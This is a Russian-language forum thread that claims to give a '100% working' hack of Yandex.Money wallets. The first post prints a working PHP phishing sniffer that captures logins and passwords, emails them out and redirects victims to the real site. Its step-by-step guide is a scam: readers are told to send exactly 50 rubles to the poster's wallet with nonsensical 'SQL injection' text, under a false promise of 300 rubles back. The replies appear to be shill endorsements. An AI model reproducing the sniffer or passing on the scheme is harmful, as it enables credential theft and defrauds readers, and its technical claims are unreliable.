ВЗЛОМ ЯНДЕКС КОШЕЛЬКОВ

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » ВЗЛОМ ЯНДЕКС КОШЕЛЬКОВ » Взлом Яндекс Деньги и кошельки » НОВЫЙ СПОСОБ ВЗЛОМА 100% РАБОЧИЙ ПРОВЕРЕННО


НОВЫЙ СПОСОБ ВЗЛОМА 100% РАБОЧИЙ ПРОВЕРЕННО

Сообщений 1 страница 3 из 3

1

Привет всем!!! Сейчас я расскажу, как я взломал яндекс деньги.

«Как Все начиналось»

Два часа ночи, я был готов пойти спать, но надо было проверить почту. Зайдя к себе на мыльник (зарегистрирован я на яндекс.ру), я увидел огромное кол-во спама. Долбаный антиспам, установленный на yandex.ru, работает дерьмово, видимо спам - подарок от яндекс .ру. Что ж, как никак Новый Год скоро, надо тоже сделать подарок любимому почтовику))
Исследовав почтовый сервис я так ничего и не нашел. Что же, поищем через гугль. Так как у яндекса есть много других сервисов помимо почтового, в строке запроса я написал: site:*yandex.ru. В ответ гугль вывалил 214 000 000 страниц урлов (к счастью половина была повторных, иначе я бы лежал в психушке ). Я налил себе кофе и начал проверять сервисы. Web-кодеры yandex.ru хорошо поработали, так как после 2-х часового аудита не было найдено ни одной уязвимости. На данный момент были учтены некоторые глюки сервиса 7ya.yandex.ru, при просмотре картинок выскакивало popup окно, запомнив адрес: Я очень удивился и обрадовался, потому что выскочило окошко, которое означало одно - target никак не фильтруется. Было решено создать фэйк страницу авторизации, чтобы был баг и робот яндекса  присылал мне пароль от яндекс карты. Было уже 5 часов утра, даже после 5 кружек кофе хотелось спать (а еще больше хотелось в туалет ). Поэтому я попросил своего хорошего знакомого pixcher'a  продолжить начатое мною дело. На следующий день (т.е. на этот же ) на аську пришла мессага от pixcher'a. Он создал фэйк форму, а также составил ядовитый урл:
на нашу фэйк форму'</script>
В таком виде этот урл сильно палился, поэтому мы немного замаскировали его, чтобы админы яндекса чувствовали себя сухо и комфортно . Далее был написан небольшой сниффер, который принимал переданные значения, записывал их в файл и перекидывал  пороль карты на мыло , вот код сниффера:

<?
$adminmail = "mymail@yandex ru";
function email($to,$mailtext) {
mail($to,'password',$mailtext,$adminmail);}
$text="[".date("d.m.y H:i")."]Login: $_POST[login] Password: $_POST[pass]\r\n";
email($adminmail,$text);
$file = fopen("logs.txt","a");
flock($file,3);
fputs($file, $text);
flock($file,1);
fclose($file);
echo "<FORM id='auth' action='http://yandex ru/login.html' method=post>
<INPUT type=hidden name=login value='$_POST[login]'>
<INPUT type=hidden name=pass value='$_POST[pass]'>
<script>auth.submit();</script>
</FORM>";
?>

Создание фэйка - это совсем не сложно, сохраняем пагу к себе на винт и редактируем параметр action тега form. В итоге данные, которые ввел юзер, запишутся к тебе в файл и произойдет редирект, удивленный админ решит, что произошли какие-нить сбои в работе службы DNS. После этого мы создали баг к кошельку.
Для проверки проделанной работы мы кинули  50 руб на этот номер кошелька  41001838170967
И на мой кошель минут через 5 пришло 300 руб. Это конечно очень мало бабла ведь столько работы было проделано. И мы с моим другом  pixcher'a  решили еще раз протестировать наш баг и кинуть 200 руб ну обратно нам так не чего и не пришло. Я долго думал в чем была наша промашка. И мы решили повторить операцию, еще раз кинули 50 рублей . И я не поверил своим глазам баг не исчез =) Запрос к БД на число 50 по введённым критериям совсем не фильтровался на спецсимволы!!! Абсолютно!!! Моя радость увеличилась, когда увидел что на мой кошель пришли опять 300 рублей. Как видишь, даже раскрученный проект имеет ошибки.
                                                                   
"Как выполнить взлом яндекс денег на своем компе"
                                                                                                                   Объясняю чайникам!     

1. Для начала проходим сюда yandex.ru
2. Заводим почтовый ящик
3. Заводим яндекс счет
4. Ложем на свой яндекс счет денег . Ну вам для этого взлома понадобиться  50 рублей
Кошелек в системе Яндекс.Деньги можно пополнять следующими способами:
Наличными со своего банковского через банковские отделения
Через системы переводов и платежей CONTACT, Юнистрим, Анелик, Город.
Через терминалы самообслуживания. Список терминалов, подключенных к этой услуге, весьма обширен.
Банковской картой КБ ОТКРЫТИЕ (РБР) или карты РосЕвроБанка.
С помощью карт предоплаты Яндекс.Денег.
5. Теперь нажимаем перевести  и переводим сумму не больше не меньше а ровно 50 рублей не Считая комиссии если вы перевели 49,75 руб то вам не придёт 300 рублей, надо ровно 50 рублей.
6 Переводим на этот счет 41001838170967 где мы сделали баг
7. Где сообщение получателю пишем вот это:
SELECT COUNT(DISTINCT cc.content_id) FROM cache_content as cc, cache_content_region as r, cache_content_num as n WHERE cc.content_group = 'melody' AND cc.content_type = 'melody_mp3' AND r.content_id = cc.content_id AND n.content_id = cc.content_id AND r.region_id = '9' AND n.model_id+many id= «0» AND singer_id = '300''
Там где написано id = «0»
Меняем значения «0» на свой номер кошелька
Вот пример :
id = «41001493134589»
8. В название платежа пишем это:
set tmc [lindex $tms 1]
9. Все теперь подождем не много времени, операция взлома длиться от 2  до 10 минут. К вам на яндекс счет должна поступить  сумма в размере 300 рублей.Конечно это не 10 тысяч рублей но все ровно деньги.Некоторые спросят почему я это все выкладываю и рассказываю, да потому что для меня 300 рублей это копейки я выводил из платежных систем по миллионам.Так что пользуйтесь халявным сыром пока даю.  Кстати, уважительная просьба пользоваться взломом не более 3-4 раз в день. Не будем жадными а то сисадмины найдут эту дырку и залатают.  Надеюсь подробно объяснил вам, вот еще одна картинка как все должно выглядеть при переводе  жми СЮДА Сам факт получения чего-то на халяву уже заставляет человека совершать какие-то телодвижения. Главное в этом деле не жадничать и помнить про Уголовный Кодекс. Но зато какой результат... Я думаю, оно стоит того.

0

2

Я в шокееее  :cool:  :cool:  :cool:  способ реально работает спасибо тебе большое, завтро обязательно повторю!!!!!!

0

3

КТО ХОЧЕТ НОРМАЛЬНЫЙ РАБОТАЮЩИЙ СПОСОБ, ЗАХОДИТЕ сюда,только что там 350 рублей срубил!!!

0


Вы здесь » ВЗЛОМ ЯНДЕКС КОШЕЛЬКОВ » Взлом Яндекс Деньги и кошельки » НОВЫЙ СПОСОБ ВЗЛОМА 100% РАБОЧИЙ ПРОВЕРЕННО